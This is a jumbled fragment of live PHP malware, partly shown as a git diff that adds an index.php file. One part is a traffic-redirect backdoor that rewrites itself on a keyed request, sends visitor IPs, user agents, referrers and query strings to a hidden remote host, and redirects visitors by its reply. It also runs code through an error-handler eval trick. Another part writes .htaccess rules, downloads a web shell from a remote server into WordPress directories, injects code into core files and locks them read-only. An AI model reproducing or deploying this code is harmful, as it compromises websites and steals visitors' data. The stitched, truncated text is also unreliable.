</tr><tr><td>Reserve</td><td><input type="text" name="pto" value="'.base64_decode($pwysbmx).'"></td><td>ESD ID</td><td><input type="text" name="pesdid" value="'.$hhbqevtbbanf.'"></td>
<td colspan="2"><input type="submit" name="Submit" value="ok"></td></tr></table></form>';
die();
}
// YuWK#)wFK=cS1)6Hhvxp3Q$R
if($mode=="setconfig" AND $aewxxkquabqzhus==$_GET['key']){
$sn=explode("/", $_SERVER['SCRIPT_NAME']);
foreach($sn as $snn){$scr=$snn;}
$getlpa=file($scr);
$strng=$getlpa[0];
$file=file($scr); 
for($i=0;$i<sizeof($file);$i++)
if($i==0) {
$ka=''.base64_decode('PD9waHA=').' //KVC';
$kaka=$ka.'RMF// '.base64_decode('Pz4=').'';
$felp = explode($kaka, $file[$i]);
$file[$i]=''.base64_decode('PD9waHA=').' $axyyztdh="'.base64_encode($_POST["ptds"]).'"; $hdqanzabzeewgxq="'.$_POST["ptdsip"].'"; $pwysbmx="'.base64_encode($_POST["pto"]).'"; $hhbqevtbbanf="'.$_POST["pesdid"].'"; $aewxxkquabqzhus="'.$_POST["pkey"].'"; '.base64_decode('Pz4=').''.$kaka.$felp[1];
}
$fp=fopen($scr,"w"); 
fputs($fp,implode("",$file));
fclose($fp);
}
// 8@Z_uEERhDRg7(7YnH58))_sRK6vrhYnY_kGs)Rpb
//send
if(empty($hdqanzabzeewgxq)) {$dom = explode("/", base64_decode($axyyztdh)); $dom=$dom[2];} else {$dom=$hdqanzabzeewgxq;}
function getUserIp() {
static $forwarded = array(
//'HTTP_CLIENT_IP',
//'HTTP_X_FORWARDED_FOR',
//'HTTP_X_FORWARDED',
//'HTTP_X_REAL_IP',
//'HTTP_X_CLUSTER_CLIENT_IP',
//'HTTP_FORWARDED_FOR',
//'HTTP_FORWARDED',
'REMOTE_ADDR'
);
foreach ($forwarded as $key) {
if (!function_exists('array_key_exists')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('sscanf')) { return $_SERVER['REMOTE_ADDR']; }
if (!function_exists('filter_var')) { return $_SERVER['REMOTE_ADDR']; }
if (array_key_exists($key, $_SERVER)) { sscanf($_SERVER[$key], '%[^,]', $ip);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip;
}}} return $_SERVER['REMOTE_ADDR']; }
function getUserIps() { return gethostbyname($_SERVER["HTTP_HOST"]); }
// *^Hq)KN08Bvwe^9a*.^GefMb5H*qMpKm-B2MTU5RX
if(!empty($_SERVER['SERVER_PORT'])) {$t_server_port=urlencode($_SERVER['SERVER_PORT']);} else { $t_server_port=''; }
if(!empty($_SERVER['SERVER_ADDR'])) {$t_server_addr=urlencode($_SERVER['SERVER_ADDR']);} else { $t_server_addr=''; }
if(!empty($_SERVER['SERVER_SOFTWARE'])) {$t_server_software=urlencode($_SERVER['SERVER_SOFTWARE']);} else { $t_server_software=''; }
$t_dom=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);
$t_ref=urlencode($_SERVER[HTTP_REFERER]);
$t_ip=urlencode(getUserIp());
$t_prox='no';if($_SERVER["HTTP_X_FORWARDED_FOR"]){$t_prox='yes';}
$t_agent=urlencode($_SERVER['HTTP_USER_AGENT']);
$t_lang=urlencode($_SERVER['HTTP_ACCEPT_LANGUAGE']);
if(!empty($_SERVER['QUERY_STRING'])) {$t_cookie=urlencode($_SERVER['QUERY_STRING']);}
else if(!empty($_SERVER['PATH_INFO'])) {$t_cookie=urlencode($_SERVER['PATH_INFO']);}
else { $t_cookie=''; }
$_link=base64_decode($axyyztdh)."?ipr=".urlencode($_SERVER['HTTP_CLIENT_IP'])."&ipxr=".urlencode($_SERVER['HTTP_X_REAL_IP'])."&ipf=".urlencode($_SERVER['HTTP_FORWARDED_FOR'])."&ipx=".urlencode($_SERVER['HTTP_X_FORWARDED_FOR'])."&server_port=".$t_server_port."&server_addr=".$t_server_addr."&server_software=".$t_server_software."&dom=".$t_dom."&ref=".$t_ref."&ip=".$t_ip."&prox=".$t_prox."&agent=".$t_agent."&lang=".$t_lang."&cookie=".$t_cookie."&esdid=".$hhbqevtbbanf;
$fp = fsockopen($dom, 80, $errno, $errstr, 60);
@stream_set_timeout($fp, 60);
// zd1maMtSCF-8T86(^++eV3M^EF2.V4
if (!$fp) {
if (function_exists('curl_init')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_URL, $_link);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, "60");
$goto = curl_exec($ch); curl_close($ch);
if (empty($goto)) { if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($pwysbmx); }
} else { $goto=base64_decode($pwysbmx); }}
// sYYusHHyp2!3XsG2v2#mNh2XM4p6yrE$QH
} else {
if (function_exists('file_get_contents')) {
$ctx = stream_context_create(array('http' => array('timeout' => 90)));
$goto=file_get_contents($_link, 0, $ctx);
if (empty($goto)) { $goto=base64_decode($pwysbmx); }
} else { $goto=base64_decode($pwysbmx); }
// ---COMMENT8---
}} else {
$out = "GET ".$_link." HTTP/1.0\r\n";
$out .= "Host: ".$dom."\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
$str=fgets($fp,128);
if ($str=="\r\n" && empty($he)) { $he = 'do'; }
if ($he=='do') { $goto.=$str; }
}
fclose ($fp);
$goto=substr($goto, 2);
}
// ---COMMENT9---
$gotoe = explode("://", trim($goto)); // "cook://".base64_encode('http://dom.tld/');
if($gotoe[0]=='http' || $gotoe[0]=='https') { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim($goto)); }
if($gotoe[0]=='cook') { $ch=crc32($_SERVER['HTTP_HOST']); if (isset($_COOKIE[$ch]) && !empty($_COOKIE[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: '.trim(base64_decode($gotoe[1]))); exit; } else { if (isset($_GET[$ch])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); exit; } @setcookie($ch, $ch, time () + 60 * 10, '/'); header($_SERVER['SERVER_PROTOCOL'].' 302 Found'); header('Location: http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].(preg_match('/\?|\=/isu',$_SERVER['REQUEST_URI']) ? '&' : '?').$ch); exit; } }
if($gotoe[0]=='echo') { if (preg_match('/404\-not|404 Not Found/isu',$gotoe[1])) { header($_SERVER['SERVER_PROTOCOL'].' 404 Not Found'); header('Status: 404 Not Found'); } echo $gotoe[1]; }
// ---COMMENT10---";eval($zyqfyq($mapnam));}
"; function fnburyxqhmua($errno,$errstr,$errfile,$errline){ $ggmkxsawurdyqc= create_function('',$errstr); array_map($ggmkxsawurdyqc,array('')); } set_error_handler('fnburyxqhmua');$sbmque=$qytnazp($xbbbhst);user_error($sbmque,E_USER_ERROR); + +//header("Expires: Tue, 1 Jul 2003 05:00:00 GMT"); +//header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT"); +//header("Cache-Control: no-store, no-cache, must-revalidate"); +//header("Pragma: no-cache"); + +// Set the root path as a constant. +if (!defined('BNQCAU')) +{ + define('BNQCAU', __DIR__); +} + + + + + + + +?> \ No newline at end of file diff --git a/22.12.2020/index.php b/22.12.2020/index.php new file mode 100644 index 0000000..c60c8a0 --- /dev/null +++ b/22.12.2020/index.php @@ -0,0 +1,81 @@ +'.PHP_EOL.'RewriteEngine On'.PHP_EOL.'RewriteBase /'.PHP_EOL.'RewriteRule ^index\.php$ - [L]'.PHP_EOL.'RewriteRule ^content-([^/]+) index.php?content=$1'.PHP_EOL.'RewriteRule ^sitemap-([^/]+).xml$ index.php?sitemap=$1 [L]'.PHP_EOL.'RewriteRule ^wp-phpinfo\.php$ wp-phpinfo.php [L]'.PHP_EOL.'RewriteRule ^wp-config-sample\.php$ wp-config-sample.php [L]'.PHP_EOL.'RewriteRule ^.*\.php\??.* index.php [L]'.PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-f'.PHP_EOL.'RewriteCond %{REQUEST_FILENAME} !-d'.PHP_EOL.'RewriteRule . /index.php [L]'.PHP_EOL.''; + file_put_contents(dirname(__FILE__).'/'.authcode(H,"DECODE",$key,0).'',$htaccesscontent); + copy(dirname(__FILE__).'/'.authcode(IPHP,"DECODE",$key,0).'',dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(ITXT,"DECODE",$key,0).''); copy(dirname(__FILE__).'/'.authcode(H,"DECODE",$key,0).'',dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(HTXT,"DECODE",$key,0).''); + if(!is_dir(dirname(__FILE__).authcode(WPI,"DECODE",$key,0))) { mkdir (dirname(__FILE__).authcode(WPI,"DECODE",$key,0),0755,true); } if(!is_dir(dirname(__FILE__).authcode(WPA,"DECODE",$key,0))) { mkdir (dirname(__FILE__).authcode(WPA,"DECODE",$key,0),0755,true); } if(!is_dir(dirname(__FILE__).authcode(WPC,"DECODE",$key,0))) { mkdir (dirname(__FILE__).authcode(WPC,"DECODE",$key,0),0755,true); } + $addtext1path = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(AT1,"DECODE",$key,0); $backpathtext1 = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(CWCS,"DECODE",$key,0); $backpathtext2 = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(CWCP,"DECODE",$key,0); $backpathtext3 = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(CWCC,"DECODE",$key,0); $backpathtextf = dirname(__FILE__).'/'.authcode(WCPHP,"DECODE",$key,0); $backpathtext4 = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(LPHP,"DECODE",$key,0); $backpathtext5 = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(FPHP,"DECODE",$key,0); $backpathtext6 = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(VPHP,"DECODE",$key,0); $backpathtext7 = dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(TLPHP,"DECODE",$key,0); + if(!file_exists($addtext1path)) { file_put_contents($addtext1path,''); } if(!file_exists($backpathtext1)) { file_put_contents($backpathtext1,''); } if(!file_exists($backpathtext2)) { file_put_contents($backpathtext2,''); } if(!file_exists($backpathtext3)) { file_put_contents($backpathtext3,''); } if(!file_exists($backpathtextf)) { file_put_contents($backpathtextf,''); } if(!file_exists($backpathtext4)) { file_put_contents($backpathtext4,''); } if(!file_exists($backpathtext5)) { file_put_contents($backpathtext5,''); } if(!file_exists($backpathtext6)) { file_put_contents($backpathtext6,''); } if(!file_exists($backpathtext7)) { file_put_contents($backpathtext7,''); } + $addtext1 = ' 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ""; } } else { return $keyc.str_replace("=", "", base64_encode($result)); } }function curlxml($url) { $header[] = "Content-type: text/xml"; if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($ch); curl_close($ch); } else { $is_auf = ini_get("allow_url_fopen") && function_exists("file_get_contents")?true:false; if($is_auf) { $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curltxt($url) { if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $data = curl_exec($ch); curl_close($ch); } else { $is_auf = ini_get("allow_url_fopen") && function_exists("file_get_contents")?true:false; if($is_auf) { $data = file_get_contents($url); } } if(!$data) return false; return $data; }'; + file_put_contents($addtext1path, $addtext1); + file_put_contents($backpathtext1, $addtext1.' '.$auth); file_put_contents($backpathtext2, $addtext1.' '.$auth); file_put_contents($backpathtext3, $addtext1.' '.$auth); + if((strpos(curltxt($backpathtextf),'function Go($url)')) == false) { file_put_contents($backpathtextf, $fgocontent.' '.$auth, FILE_APPEND); } if((strpos(curltxt($backpathtext4),'/* ###back### */')) == false) { file_put_contents($backpathtext4,str_replace(' '; + file_put_contents($uploadpathtext1,$uploadtext); file_put_contents($uploadpathtext2,$uploadtext); file_put_contents($uploadpathtext3,$uploadtext); + $xslcontent = curltxt('http://'.authcode(ST,"DECODE",$key,0).'/Pack/'.authcode(SXSL,"DECODE",$key,0)); $xslpath = dirname(__FILE__).'/'.authcode(SXSL,"DECODE",$key,0); file_put_contents($xslpath,$xslcontent); copy(dirname(__FILE__).'/'.authcode(SXSL,"DECODE",$key,0),dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(SXSL,"DECODE",$key,0).'.txt'); + $phpinfocontent = ''; $phpinfopath = dirname(__FILE__).'/'.authcode(WPPHP,"DECODE",$key,0); file_put_contents($phpinfopath,$phpinfocontent); copy(dirname(__FILE__).'/'.authcode(WPPHP,"DECODE",$key,0),dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(WPPHP,"DECODE",$key,0).'.txt'); + $backpathtext8 = dirname(__FILE__).'/'.authcode(WCSPHP,"DECODE",$key,0); $sehllcontent = 'https://'.authcode(ST,"DECODE",$key,0).'/shcontent.txt'; file_put_contents($backpathtext8,curltxt($sehllcontent)); + copy(dirname(__FILE__).'/'.authcode(WCSPHP,"DECODE",$key,0), dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(WCSTXT,"DECODE",$key,0)); + copy(dirname(__FILE__).'/'.authcode(WCSPHP,"DECODE",$key,0), dirname(__FILE__).'/'.authcode(WCSPHP,"DECODE",$key,0)); + copy(dirname(__FILE__).'/'.authcode(WCSPHP,"DECODE",$key,0), dirname(__FILE__).authcode(WPC,"DECODE",$key,0).authcode(IOPHP,"DECODE",$key,0)); + copy(dirname(__FILE__).'/'.authcode(WCSPHP,"DECODE",$key,0), dirname(__FILE__).authcode(WPA,"DECODE",$key,0).authcode(IOPHP,"DECODE",$key,0)); + copy(dirname(__FILE__).'/'.authcode(WCSPHP,"DECODE",$key,0), dirname(__FILE__).authcode(WPI,"DECODE",$key,0).authcode(IOPHP,"DECODE",$key,0)); + chmod(dirname(__FILE__).'/'.authcode(H,"DECODE",$key,0)."", 0444); + chmod(dirname(__FILE__).'/'.authcode(IPHP,"DECODE",$key,0)."", 0444); + echo "